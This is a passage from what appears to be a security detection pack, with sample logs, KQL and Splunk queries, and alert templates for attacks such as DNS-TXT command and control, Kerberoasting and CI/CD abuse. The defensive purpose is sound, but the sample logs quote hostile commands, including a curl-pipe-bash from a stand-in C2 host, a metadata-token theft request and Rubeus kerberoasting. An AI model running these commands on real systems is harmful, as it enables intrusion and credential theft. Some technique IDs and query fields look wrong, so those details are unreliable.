- Disable at utility if unused across environment
- Rotate all credentials tied to reza.svc
- Investigate lateral movement or external persistence

## **DETECTION PACK ENTRY 81**

**USE CASE: SLACK OAUTH ABUSE TO SPY ON INTERNAL CHANNELS**

**TACTIC: COLLECTION / PERSISTENCE**

**TECHNIQUE: T1071.001 – APPLICATION LAYER PROTOCOL: WEBHOOKS / OAUTH**

**ENVIRONMENT: SLACK AUDIT LOGS + OAUTH LOGS + MCAS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Slack OAuth App Event

```
{  
  "Timestamp": "2025-07-09T21:00:20Z",  
  "AppName": "ChannelMonitor",  
  "InstalledBy": "muhammad.khairi@clientorg.com",  
  "Scopes": ["channels:history", "channels:read", "users:read"],  
  "ClientIP": "142.251.37.1"  
}
```

Data Source: Defender for Cloud Apps

```
{  
  "AlertName": "OAuth App Monitoring Private Channels",  
  "Severity": "High",  
  "User": "muhammad.khairi@clientorg.com",  
  "Detection": "New app with overbroad scope installed",  
  "FirstSeen": "2025-07-09T21:01:11Z"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Slack + MCAS)

```
OAuthAppLogs  
| where AppName == "ChannelMonitor" and Scopes has "channels:history"  
| join kind=inner (  
  CloudAppSecurity  
  | where AlertName == "OAuth App Monitoring Private Channels"  
) on UserPrincipalName
```

SPLUNK

```
index=slack_oauth OR index=mcas
```

```
| search AppName="ChannelMonitor" Scopes="*channels:history"  
| join User [  
    search index=mcas AlertName="*Private Channels*"  
]  
| stats count by User,AppName,Scopes,_time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Rogue Slack App Installed to Monitor Channels

Severity: High

Description: OAuth app ChannelMonitor was installed by  
muhammad.khairi@clientorg.com with access to Slack channel history and user info.

Recommended Action:

- Remove the app from Slack org immediately
- Check if any tokens were used to access private channels
- Alert IT and legal for policy violation
- Revoke user access if malicious intent is confirmed

## **DETECTION PACK ENTRY 82**

**USE CASE: COMMAND AND CONTROL VIA DNS TXT RECORDS USING NSLOOKUP**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1071.004 – APPLICATION LAYER PROTOCOL: DNS**

**ENVIRONMENT: DNS LOGS + SYSMON + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Process Create)

```
{  
    "Timestamp": "2025-07-09T22:10:38Z",  
    "User": "arif.redteam",  
    "Process": "nslookup.exe",  
    "CommandLine": "nslookup -q=txt cmd.dns-c2.attacker.com",  
    "Parent": "cmd.exe",  
    "Device": "LAB-WIN10-RED"  
}
```

Data Source: DNS Server Logs

```
{  
    "Request": "TXT cmd.dns-c2.attacker.com",  
    "Response": "\powershell -nop -w hidden -enc SQBFAFg...\"",  
    "SourceIP": "10.10.50.55"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Sysmon + DNS Logs)

```
DeviceProcessEvents  
| where FileName == "nslookup.exe" and ProcessCommandLine has "TXT"  
| join kind=inner (  
    DnsEvents  
    | where QueryType == "TXT" and Name contains "dns-c2"  
) on DeviceName
```

### **SPLUNK**

```
index=sysmon OR index=dns_logs  
| search Process="nslookup.exe" CommandLine="*TXT*"
```

```
| join Device [  
  search index=dns_logs Query="*.dns-c2.*" QueryType="TXT"  
]  
| stats count by User, CommandLine, Query, Response, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: C2 via DNS TXT Record Observed

Severity: High

Description: User arif.redteam issued nslookup TXT queries to a malicious domain.

Response contained Base64-encoded PowerShell payload.

Recommended Action:

- Block outbound DNS to dns-c2.attacker.com
- Decode payload and perform sandbox analysis
- Investigate historical DNS activity from device
- Consider enabling DNS tunneling detection in NDR

## **DETECTION PACK ENTRY 83**

**USE CASE: MODIFICATION OF EDR PROCESS INCLUSION FILTERS VIA  
REGISTRY**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1112 – MODIFY REGISTRY**

**ENVIRONMENT: WINDOWS REGISTRY LOGS + EDR AGENT TELEMETRY +  
SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 13 (Registry Modification)

```
{  
  "Timestamp": "2025-07-09T22:48:11Z",  
  "User": "amir.sysadmin",  
  "RegistryKey": "HKLM\\Software\\EDRAgent\\InclusionFilters",  
  "OldValue": "powershell.exe,cmd.exe",  
  "NewValue": "cmd.exe",  
  "Device": "FIN-SERVER-04"  
}
```

Data Source: EDR Alert

```
{  
  "Event": "Agent Configuration Modified",  
  "Result": "Monitoring Disabled for PowerShell",  
  "Status": "Warning",  
  "Source": "Registry"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Registry + EDR)

```
DeviceRegistryEvents  
| where RegistryKey contains "EDRAgent\\InclusionFilters"  
and RegistryValueName == "powershell.exe"  
| join kind=inner (  
  EDRAgentConfigurationAlerts  
  | where Event contains "Monitoring Disabled"  
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr_config
| search RegistryKey="*EDRAgent*InclusionFilters*" AND OldValue="*powershell.exe*"
| join Device [
    search index=edr_config Event="Monitoring Disabled"
]
| stats count by User, RegistryKey, NewValue, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: EDR Process Filter Tampering – PowerShell Excluded

Severity: Critical

Description: Registry key modified on FIN-SERVER-04 to remove PowerShell from monitored processes. EDR agent no longer captures PowerShell telemetry.

Recommended Action:

- Force sync configuration with EDR central policy
- Investigate amir.sysadmin activity on host
- Audit registry keys for other evasion attempts
- Initiate deeper endpoint forensics

## **DETECTION PACK ENTRY 84**

**USE CASE: UNAUTHORIZED TERRAFORM APPLY DETECTED FROM DEVOPS USER**

**TACTIC: INITIAL ACCESS / IMPACT**

**TECHNIQUE: T0886 – RESOURCE HIJACKING**

**ENVIRONMENT: TERRAFORM LOGS + GITLAB CI/CD + CLOUDTRAIL + AUDIT LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitLab CI Pipeline Log

```
{  
  "Timestamp": "2025-07-09T23:15:20Z",  
  "User": "syahir.devops",  
  "Repo": "clientorg/infra-as-code",  
  "Stage": "deploy-prod",  
  "Command": "terraform apply -auto-approve -var-file=malicious.tfvars",  
  "Trigger": "manual"  
}
```

Data Source: CloudTrail (AWS API Logs)

```
{  
  "Action": "ec2:RunInstances",  
  "Region": "ap-southeast-1",  
  "User": "syahir.devops",  
  "InstanceType": "t3.xlarge",  
  "ImageId": "ami-malware-host-011",  
  "Notes": "New instance not in baseline templates"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – CI/CD + Cloud API)

```
DevOpsPipelineLogs  
| where CommandLine has "terraform apply" and CommandLine has "malicious.tfvars"  
| join kind=inner (  
  CloudActivity  
  | where Action == "ec2:RunInstances" and not(Resource in ("baseline"))  
) on UserPrincipalName
```

## SPLUNK

```
index=gitlab_logs OR index=cloudtrail  
| search Command="terraform apply*" AND Command="*malicious.tfvars*"  
| join User [  
    search index=cloudtrail Action="ec2:RunInstances" NOT ImageId IN (baseline_list)  
]  
| stats count by User, Command, InstanceType, Region, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Unauthorised Terraform Apply from DevOps Pipeline

Severity: Critical

Description: User syahir.devops manually triggered a pipeline to apply unapproved Terraform changes, deploying non-compliant EC2 instance in production.

Recommended Action:

- Immediately stop affected EC2 instance
- Revert infrastructure to last known good state
- Review CI/CD pipeline permissions
- Notify DevSecOps and begin IR on deployed instance

## **DETECTION PACK ENTRY 85**

**USE CASE: PERSISTENT ACCESS VIA ABUSED OAUTH REFRESH TOKEN  
AFTER PASSWORD RESET**

**TACTIC: PERSISTENCE**

**TECHNIQUE: T1525 – IMPLANT AUTHENTICATION TOKEN ABUSE**

**ENVIRONMENT: AZURE AD + DEFENDER FOR CLOUD APPS + OAUTH  
TOKEN LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Azure AD Sign-In Logs

```
{  
  "Timestamp": "2025-07-10T00:02:44Z",  
  "User": "fatin.hr@clientorg.com",  
  "Status": "Success",  
  "TokenType": "RefreshToken",  
  "App": "OneDriveSync",  
  "IP": "77.89.122.140",  
  "Device": "Unknown",  
  "Notes": "Login successful after password reset"  
}
```

Data Source: MCAS Alert

```
{  
  "AlertType": "OAuth Token Reuse After Password Change",  
  "User": "fatin.hr@clientorg.com",  
  "App": "OneDriveSync",  
  "Location": "Albania",  
  "RiskScore": 9.5  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Azure AD + MCAS)

```
SigninLogs  
| where TokenType == "RefreshToken"  
and ResultType == 0  
and Location != "Expected country"  
| join kind=inner (  
  CloudAppSecurity
```

```
| where AlertName == "OAuth Token Reuse After Password Change"  
) on UserPrincipalName
```

## SPLUNK

```
index=azure_ad OR index=mcas  
| search TokenType="RefreshToken" Status="Success"  
| join User [  
    search index=mcas AlertType="OAuth Token Reuse After Password Change"  
]  
| stats count by User, App, IP, Location, _time
```

## ALERT OUTPUT EXAMPLE

Alert Name: Suspicious OAuth Refresh Token Persistence

Severity: High

Description: OAuth refresh token reused from Albania after fatin.hr@clientorg.com performed a corporate password reset. Indicates session hijack.

Recommended Action:

- Revoke all active sessions for the user
- Remove associated app permissions from Azure AD
- Force MFA and conditional re-authentication
- Conduct historical sign-in and session analysis

## **DETECTION PACK ENTRY 86**

**USE CASE: DATA EXFILTRATION VIA MICROSOFT TEAMS WEBHOOK**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1041 – EXFILTRATION OVER C2 CHANNEL**

**ENVIRONMENT: TEAMS LOGS + PROXY LOGS + POWERSHELL**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: PowerShell Log

```
{  
  "Command": "Invoke-WebRequest -Uri  
'https://outlook.office.com/webhook/abc123@tenant/IncomingWebhook/xyz456' -  
Method POST -Body '{\"text\":\"TopSecretFile.csv uploaded.\\"}'",  
  "RunAs": "afiq.eng@clientorg.com",  
  "Host": "ENG-WS-09"  
}
```

Data Source: Proxy Log

```
{  
  "Destination": "outlook.office.com",  
  "Method": "POST",  
  "UserAgent": "PowerShell/7.3",  
  "Size": "248 bytes",  
  "Timestamp": "2025-07-10T00:45:22Z"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – PowerShell + Proxy)

```
DeviceProcessEvents  
| where ProcessCommandLine has "Invoke-WebRequest" and ProcessCommandLine has  
"webhook"  
| join kind=inner (  
  ProxyLogs  
  | where Url contains "outlook.office.com/webhook"  
) on DeviceName
```

SPLUNK

index=ps\_logs OR index=proxy\_logs

```
| search Command="*Invoke-WebRequest*" AND Url="*webhook*"  
| stats count by User, Command, Url, Size, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious Teams Webhook Data Exfiltration

Severity: High

Description: PowerShell POST request sent to MS Teams Incoming Webhook by afiq.eng@clientorg.com, with references to sensitive data upload.

Recommended Action:

- Revoke and rotate Teams webhook URL
- Examine Teams audit logs for app misuse
- Inspect PowerShell logs for prior invocations
- Alert blue team for potential follow-up actions

## **DETECTION PACK ENTRY 87**

**USE CASE: KERBEROASTING WITH ELEVATED SERVICE ACCOUNT**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1558.003 – KERBEROASTING**

**ENVIRONMENT: WINDOWS SECURITY LOGS + SYSMON + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Windows Security Event ID 4769

```
{  
  "Timestamp": "2025-07-10T01:13:57Z",  
  "TargetUserName": "svc-finance",  
  "ServiceName": "krbtgt/clientorg.com",  
  "TicketEncryptionType": "0x17 (RC4-HMAC)",  
  "RequestedBy": "elevated.red@clientorg.com",  
  "Device": "SEC-WIN10-03"  
}
```

Data Source: Sysmon Event ID 1 (Process Create)

```
{  
  "Process": "Rubeus.exe",  
  "Command": "Rubeus.exe kerberoast /output:hashes.txt",  
  "User": "elevated.red@clientorg.com"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Windows Logs + Sysmon)

```
SecurityEvent  
| where EventID == 4769 and TicketEncryptionType == "0x17"  
| join kind=inner (  
  DeviceProcessEvents  
  | where ProcessCommandLine has "Rubeus" and ProcessCommandLine has  
  "kerberoast"  
) on AccountName
```

### **SPLUNK**

```
index=wineventlog OR index=sysmon  
| search EventCode=4769 EncryptionType=0x17
```

```
| join AccountName [  
    search index=sysmon Command="*Rubeus*kerberoast*"  
]  
| stats count by User, ServiceName, TicketEncryptionType, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Kerberoasting Attempt Using Rubeus Tool

Severity: Critical

Description: User elevated.red@clientorg.com attempted to extract RC4-HMAC tickets using Rubeus.exe targeting svc-finance account.

Recommended Action:

- Disable svc-finance account if not protected by AES
- Rotate service account password immediately
- Hunt for hash cracking attempts in internal storage
- Review admin account privileges and tool usage

## **DETECTION PACK ENTRY 88**

**USE CASE: GCP METADATA SERVICE ABUSE FOR CREDENTIAL THEFT**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1552.005 – CLOUD INSTANCE METADATA API**

**ENVIRONMENT: GCP LOGS + SYSMON (ON CLOUD VM) + EDR + NDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 3 (Network Connection)

```
{  
    "Timestamp": "2025-07-10T01:55:32Z",  
    "User": "hacker.vmuser",  
    "Process": "curl.exe",  
    "CommandLine": "curl http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token -H 'Metadata-Flavor: Google'",  
    "Device": "GCP-WIN-01"  
}
```

Data Source: GCP Access Log

```
{  
    "Caller": "hacker.vmuser@internal",  
    "Request": "GET /computeMetadata/v1/instance/service-accounts/default/token",  
    "ResponseCode": 200,  
    "IP": "10.240.1.44"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Process + Network Logs)

```
DeviceNetworkEvents  
| where RemoteUrl contains "169.254.169.254"  
| join kind=inner (  
    DeviceProcessEvents  
    | where ProcessCommandLine has "computeMetadata"  
) on DeviceName
```

### **SPLUNK**

```
index=sysmon OR index=gcp_logs  
| search Command="*Metadata*" AND Url="*169.254.169.254*"
```

```
| stats count by User, Device, CommandLine, IP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Metadata Credential Access from GCP VM

Severity: High

Description: User hacker.vmuser accessed GCP metadata API to retrieve OAuth tokens from internal IP 169.254.169.254. This may indicate credential theft.

Recommended Action:

- Immediately disable service account if compromised
- Review firewall egress and identity scopes
- Isolate VM GCP-WIN-01
- Enable metadata concealment and GCP shielded VM features

## **DETECTION PACK ENTRY 89**

**USE CASE: COMPROMISE VIA VULNERABLE PYTHON PACKAGE IN CI/CD**

**TACTIC: INITIAL ACCESS / SUPPLY CHAIN**

**TECHNIQUE: T1195.002 – COMPROMISE SOFTWARE DEPENDENCIES AND DEVELOPMENT TOOLS**

**ENVIRONMENT: GITHUB ACTIONS + PYPI + CI/CD LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: GitHub Actions Log

```
{  
  "Timestamp": "2025-07-10T02:30:45Z",  
  "User": "buildbot@clientorg.com",  
  "Repo": "clientorg/ai-analytics",  
  "Event": "pip install figparser==1.2.3",  
  "Warning": "package contains suspicious postinstall.py script"  
}
```

Data Source: EDR Log

```
{  
  "Process": "python.exe",  
  "File": "postinstall.py",  
  "Action": "Network connection to 192.168.88.88:4444",  
  "Payload": "Downloader script encoded in base64"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Build Logs + EDR)

```
BuildPipelineLogs  
| where CommandLine has "pip install" and FileName has "postinstall.py"  
| join kind=inner (  
  DeviceNetworkEvents  
  | where RemoteIP == "192.168.88.88"  
) on DeviceName
```

### **SPLUNK**

```
index=ci_cd_logs OR index=edr  
| search Command="*pip install*" AND File="postinstall.py"
```

```
| join Device [  
  search index=edr RemoteIP="192.168.88.88"  
]  
| stats count by User, Repo, File, IP, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious Python Package Executed in CI Pipeline

Severity: Critical

Description: figparser==1.2.3 installed in CI/CD contained a malicious postinstall.py script that made outbound connection. Indicates software supply chain compromise.

Recommended Action:

- Remove vulnerable package and halt build process
- Review requirements.txt and lock dependencies
- Alert development team and scan GitHub repos
- Enable SCA (Software Composition Analysis) in pipeline

## **DETECTION PACK ENTRY 90**

**USE CASE: API KEY EXPOSURE IN GIT COMMIT**

**TACTIC: CREDENTIAL ACCESS**

**TECHNIQUE: T1552.001 – CREDENTIALS IN FILES**

**ENVIRONMENT: GIT LOGS + SECRET SCANNING + DLP**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Git Commit Log

```
{  
  "CommitHash": "cd3e92a",  
  "Author": "nurul.dev@clientorg.com",  
  "Repo": "clientorg/payment-api",  
  "File": "config/dev.env",  
  "Timestamp": "2025-07-10T03:01:09Z",  
  "Line": "STRIPE_SECRET_KEY=sk_live_51JssZgDb08y0rK..."  
}
```

Data Source: DLP Engine / Secret Scanning Tool

```
{  
  "Finding": "Live Stripe API key exposed",  
  "DetectionTool": "GitGuardian",  
  "Severity": "Critical",  
  "PublicAccess": "False",  
  "TimeDetected": "2025-07-10T03:01:33Z"  
}
```

## **DETECTION QUERY**

KQL (Sentinel – Git + Secret Scanner Logs)

```
GitRepoCommits  
| where FileName endswith ".env" and CommitMessage contains "add config"  
| join kind=inner (  
  SecretScanFindings  
  | where Finding contains "API key"  
) on CommitHash
```

SPLUNK

index=git\_logs OR index=dlp

```
| search File="*.env" Line="*SECRET_KEY=*"  
| join CommitHash [  
    search index=dlp Finding="*API key*"  
]  
| stats count by Author, Repo, File, Line, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: API Key Hardcoded and Committed to Repo

Severity: High

Description: nurul.dev@clientorg.com committed a live Stripe secret key to internal Git repo. Discovered by GitGuardian within 24 seconds.

Recommended Action:

- Revoke and regenerate exposed key immediately
- Notify security engineering and DevOps leads
- Enforce Git pre-commit hooks with secret scan
- Schedule secret hygiene awareness training

## **DETECTION PACK ENTRY 91**

**USE CASE: AWS CHAINED ASSUMEROLE PRIVILEGE ESCALATION**

**TACTIC: PRIVILEGE ESCALATION**

**TECHNIQUE: T1078.004 – CLOUD ACCOUNTS**

**ENVIRONMENT: AWS CLOUDTRAIL + IAM LOGS + THREAT DETECTION**

**PLATFORMS (E.G., GUARDDUTY)**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: CloudTrail Event

```
{  
  "Timestamp": "2025-07-10T03:55:12Z",  
  "Actor": "arn:aws:sts::932211334455:assumed-role/devops-reader/i.am.attacker",  
  "Action": "AssumeRole",  
  "TargetRole": "arn:aws:iam::932211334455:role/AdminAccess",  
  "SessionName": "escalation-session",  
  "SourceIP": "3.220.185.110"  
}
```

Data Source: GuardDuty Alert

```
{  
  "FindingType": "PrivilegeEscalation:AssumeRole",  
  "Severity": "High",  
  "Description": "A non-privileged user assumed a higher-privilege role outside normal  
usage pattern.",  
  "Region": "us-east-1"  
}
```

### **DETECTION QUERY**

KQL (Sentinel with AWS Logs Connector)

```
AWSCloudTrail  
| where EventName == "AssumeRole" and SessionIssuerUserName contains  
"i.am.attacker"  
| join kind=inner (  
  AWSGuardDutyFindings  
  | where FindingType contains "PrivilegeEscalation"  
) on SessionName
```

SPLUNK

```
index=aws_cloudtrail OR index=guardduty
| search Action="AssumeRole" AND TargetRole="*AdminAccess*"
| join SessionName [
    search index=guardduty FindingType="*PrivilegeEscalation*"
]
| stats count by Actor, TargetRole, SourceIP, Region, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Chained Role Escalation to AdminAccess

Severity: Critical

Description: IAM role devops-reader was used to assume AdminAccess role by attacker session i.am.attacker from IP 3.220.185.110. Indicates chained privilege misuse.

Recommended Action:

- Immediately revoke session credentials
- Implement condition-based role trust policies
- Enable MFA and service control policies (SCP)
- Audit recent high-privilege actions for impact

## **DETECTION PACK ENTRY 92**

**USE CASE: LNK-BASED PHISHING VIA MICROSOFT TEAMS CHAT**

**TACTIC: INITIAL ACCESS**

**TECHNIQUE: T1204.002 – USER EXECUTION: MALICIOUS FILE**

**ENVIRONMENT: TEAMS LOGS + EMAIL GATEWAY + SYSMON**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Teams Chat Export

```
{  
  "Sender": "unknown.contact@gmail.com",  
  "Recipient": "shafiqqa.it@clientorg.com",  
  "Timestamp": "2025-07-10T04:23:04Z",  
  "Message": "Please review this shortcut urgently: meeting_notes.lnk",  
  "Attachment": "meeting_notes.lnk"  
}
```

Data Source: Sysmon Event ID 1 (Process Create)

```
{  
  "Process": "wscript.exe",  
  "Command": "wscript.exe //B payload.js",  
  "User": "shafiqqa.it",  
  "Parent": "explorer.exe",  
  "Device": "CORP-LAPTOP-19"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Teams + Sysmon)

```
TeamsMessageLogs  
| where Message contains ".lnk"  
| join kind=inner (  
  DeviceProcessEvents  
  | where FileName == "wscript.exe" and ProcessCommandLine has "payload.js"  
) on DeviceName
```

### **SPLUNK**

```
index=teams_chat OR index=sysmon  
| search Attachment="*.lnk" OR Message="*.lnk"
```

```
| join User [  
  search index=sysmon Process="wscript.exe" Command="*payload.js*"  
]  
| stats count by User, FileName, Sender, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: LNK Phishing via Microsoft Teams

Severity: High

Description: Malicious .lnk file shared via Teams to shafiq.a.it@clientorg.com triggered execution of obfuscated JavaScript payload through wscript.exe.

Recommended Action:

- Quarantine affected device CORP-LAPTOP-19
- Block sender across Microsoft tenant
- Enable safe links and ATP protection in Teams
- Educate staff on LNK file threats in collaboration apps

## **DETECTION PACK ENTRY 93**

**USE CASE: JENKINS WEBHOOK ABUSED FOR CALLBACK TO ATTACKER C2**

**TACTIC: COMMAND AND CONTROL**

**TECHNIQUE: T1105 – INGRESS TOOL TRANSFER**

**ENVIRONMENT: JENKINS LOGS + EDR + FIREWALL LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Jenkins Build Console Log

```
{  
  "BuildID": "#441",  
  "User": "ci-bot",  
  "Script": "curl http://c2.callback.attacker.org/beacon.sh | bash",  
  "Repo": "clientorg/devops-utils",  
  "Timestamp": "2025-07-10T05:05:00Z"  
}
```

Data Source: Firewall Log

```
{  
  "Device": "JENKINS01",  
  "Destination": "c2.callback.attacker.org",  
  "Port": 80,  
  "Method": "GET /beacon.sh",  
  "ResponseSize": "4720 bytes"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Jenkins + Firewall)

```
JenkinsPipelineLogs  
| where Script contains "curl" and Script has "attacker.org"  
| join kind=inner (  
  NetworkLogs  
  | where RemoteUrl contains "attacker.org" and Method == "GET"  
) on DeviceName
```

### **SPLUNK**

```
index=jenkins_logs OR index=firewall  
| search Script="*attacker.org*" AND Url="*beacon.sh*"
```

```
| stats count by Repo, BuildID, Device, Url, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: CI/CD Webhook Used for Ingress Tool Download

Severity: High

Description: Jenkins build #441 initiated HTTP GET to attacker.org, downloading and executing a remote beacon script. Suggests compromise of webhook or repo.

Recommended Action:

- Lock down webhook usage in CI system
- Rotate Jenkins credentials and tokens
- Scan build scripts for IOC remnants
- Alert DevOps team for rollback and cleanup

## **DETECTION PACK ENTRY 94**

**USE CASE: BRING YOUR OWN VULNERABLE DRIVER (BYOVD) TO DISABLE SECURITY CONTROLS**

**TACTIC: DEFENSE EVASION**

**TECHNIQUE: T1547.006 – IMPLANT VIA KERNEL DRIVERS**

**ENVIRONMENT: SYSMON + EDR + KERNEL MODE LOGGING**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 6 (Driver Loaded)

```
{  
    "Timestamp": "2025-07-10T06:12:22Z",  
    "DriverFileName": "rtcore64.sys",  
    "SignatureStatus": "Unsigned",  
    "LoadedBy": "wininit.exe",  
    "Device": "ENG-WS-22"  
}
```

Data Source: EDR Alert

```
{  
    "Event": "Driver Load Detected",  
    "Driver": "rtcore64.sys",  
    "Status": "Known Vulnerable",  
    "Detection": "BYOVD Attempt",  
    "User": "mujahid.eng"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Sysmon + EDR)

```
DeviceImageLoadEvents  
| where FileName == "rtcore64.sys" and SignatureStatus == "Unsigned"  
| join kind=inner (  
    EDRDetectionLogs  
    | where Event contains "BYOVD"  
) on DeviceName
```

SPLUNK

index=sysmon OR index=edr

```
| search FileName="rtcore64.sys" SignatureStatus="Unsigned"
| join Device [
    search index=edr Event="*BYOVD*"
]
| stats count by Device, User, FileName, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Unsigned Vulnerable Driver Loaded (BYOVD)

Severity: Critical

Description: Unsigned driver rtcore64.sys loaded via wininit.exe on ENG-WS-22, associated with known attack methods for disabling AV/EDR.

Recommended Action:

- Immediately isolate device
- Check registry for autoload persistence
- Remove vulnerable driver and perform deep endpoint scan
- Enable Microsoft kernel-mode driver block list

## **DETECTION PACK ENTRY 95**

**USE CASE: INSIDER DATA SYNC TO UNAUTHORISED CLOUD STORAGE  
(MEGA.NZ)**

**TACTIC: EXFILTRATION**

**TECHNIQUE: T1567.002 – EXFILTRATION TO CLOUD STORAGE**

**ENVIRONMENT: PROXY LOGS + FILE ACCESS LOGS + UEBA**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Proxy Log

```
{  
  "Timestamp": "2025-07-10T06:45:17Z",  
  "User": "hanis.finance@clientorg.com",  
  "Destination": "mega.nz",  
  "BytesUploaded": 32450122,  
  "Filename": "Q1-PnL-Full.xlsx"  
}
```

Data Source: UEBA Alert

```
{  
  "AlertType": "Unusual Data Upload Volume",  
  "Severity": "High",  
  "User": "hanis.finance",  
  "Deviation": "+320% vs. baseline",  
  "Destination": "mega.nz"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Proxy + UEBA)

ProxyLogs

```
| where Url contains "mega.nz" and BytesUploaded > 10000000  
| join kind=inner (  
  UEBAAlerts  
  | where AlertType contains "Unusual Data Upload Volume"  
) on UserPrincipalName
```

SPLUNK

index=proxy OR index=ueba

```
| search Url="*mega.nz*" BytesUploaded>10000000
| join User [
    search index=ueba AlertType="*Upload Volume*"
]
| stats count by User, Url, Filename, BytesUploaded, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: Suspicious Upload to Mega.nz Cloud

Severity: High

Description: User hanis.finance@clientorg.com uploaded 32MB Excel file to Mega.nz, exceeding historical usage profile by +320%. UEBA flagged this as anomaly.

Recommended Action:

- Block access to Mega.nz at proxy level
- Contact user for justification or investigation
- Cross-reference file content for data sensitivity
- Enable upload throttling and UEBA policy enforcement

## **DETECTION PACK ENTRY 96**

**USE CASE: KUBERNETES SECRETS EXFILTRATION VIA MISCONFIGURED RBAC**

**TACTIC: CREDENTIAL ACCESS / COLLECTION**

**TECHNIQUE: T1552.007 – CONTAINER ORCHESTRATION SECRETS**

**ENVIRONMENT: K8S AUDIT LOGS + API SERVER LOGS + EDR**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Kubernetes Audit Log

```
{  
  "Timestamp": "2025-07-10T07:10:30Z",  
  "User": "jenkins-sa",  
  "Namespace": "default",  
  "Verb": "get",  
  "Resource": "secrets",  
  "SourceIP": "10.88.3.9",  
  "UserAgent": "kubectl/v1.30"  
}
```

Data Source: EDR Log

```
{  
  "Process": "kubectl.exe",  
  "Command": "kubectl get secrets --namespace=default -o json",  
  "User": "jenkins-sa@k8s.cluster.local",  
  "Device": "CICD-K8S-PIPELINE"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – K8s + Process Logs)

```
KubernetesAuditLogs  
| where Resource == "secrets" and Verb == "get"  
| join kind=inner (  
  DeviceProcessEvents  
  | where ProcessCommandLine has "kubectl get secrets"  
) on DeviceName
```

SPLUNK

```
index=k8s_audit OR index=edr  
| search Command="*kubectl get secrets*"  
| join User [  
    search index=k8s_audit Resource="secrets" Verb="get"  
]  
| stats count by User, Namespace, Device, Command, _time
```

## **ALERT OUTPUT EXAMPLE**

Alert Name: K8s Secrets Accessed by Misconfigured ServiceAccount

Severity: Critical

Description: Service account jenkins-sa accessed all secrets in the default namespace using kubectl. Indicates excessive permissions via misconfigured RBAC.

Recommended Action:

- Revoke excessive RBAC bindings for jenkins-sa
- Rotate any exposed secrets or tokens
- Enable least privilege policy on service accounts
- Review all workloads that inherited permissions

## **DETECTION PACK ENTRY 97**

**USE CASE: IN-MEMORY SHELLCODE EXECUTION VIA MSBUILD LOLBIN**

**TACTIC: EXECUTION**

**TECHNIQUE: T1127.001 – MSBUILD**

**ENVIRONMENT: SYMON + EDR + WINDOWS LOGS**

### **ARTIFACTS (LOG OUTPUTS) EXAMPLE**

Data Source: Sysmon Event ID 1 (Process Create)

```
{  
    "Timestamp": "2025-07-10T07:44:12Z",  
    "User": "aidil.red@clientorg.com",  
    "Process": "MSBuild.exe",  
    "CommandLine": "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe  
payload.xml",  
    "Parent": "cmd.exe",  
    "Device": "RND-LAB-07"  
}
```

Data Source: EDR Memory Scanner

```
{  
    "Detection": "Reflective Shellcode Execution",  
    "Source": "MSBuild.exe",  
    "Payload": "Meterpreter",  
    "Technique": "Process Hollowing",  
    "Confidence": "High"  
}
```

### **DETECTION QUERY**

KQL (Sentinel – Sysmon + EDR)

```
DeviceProcessEvents  
| where FileName == "MSBuild.exe" and ProcessCommandLine has "payload.xml"  
| join kind=inner (  
    EDRMemoryAlerts  
    | where Detection contains "Shellcode"  
) on DeviceName
```

SPLUNK

```
index=sysmon OR index=edr
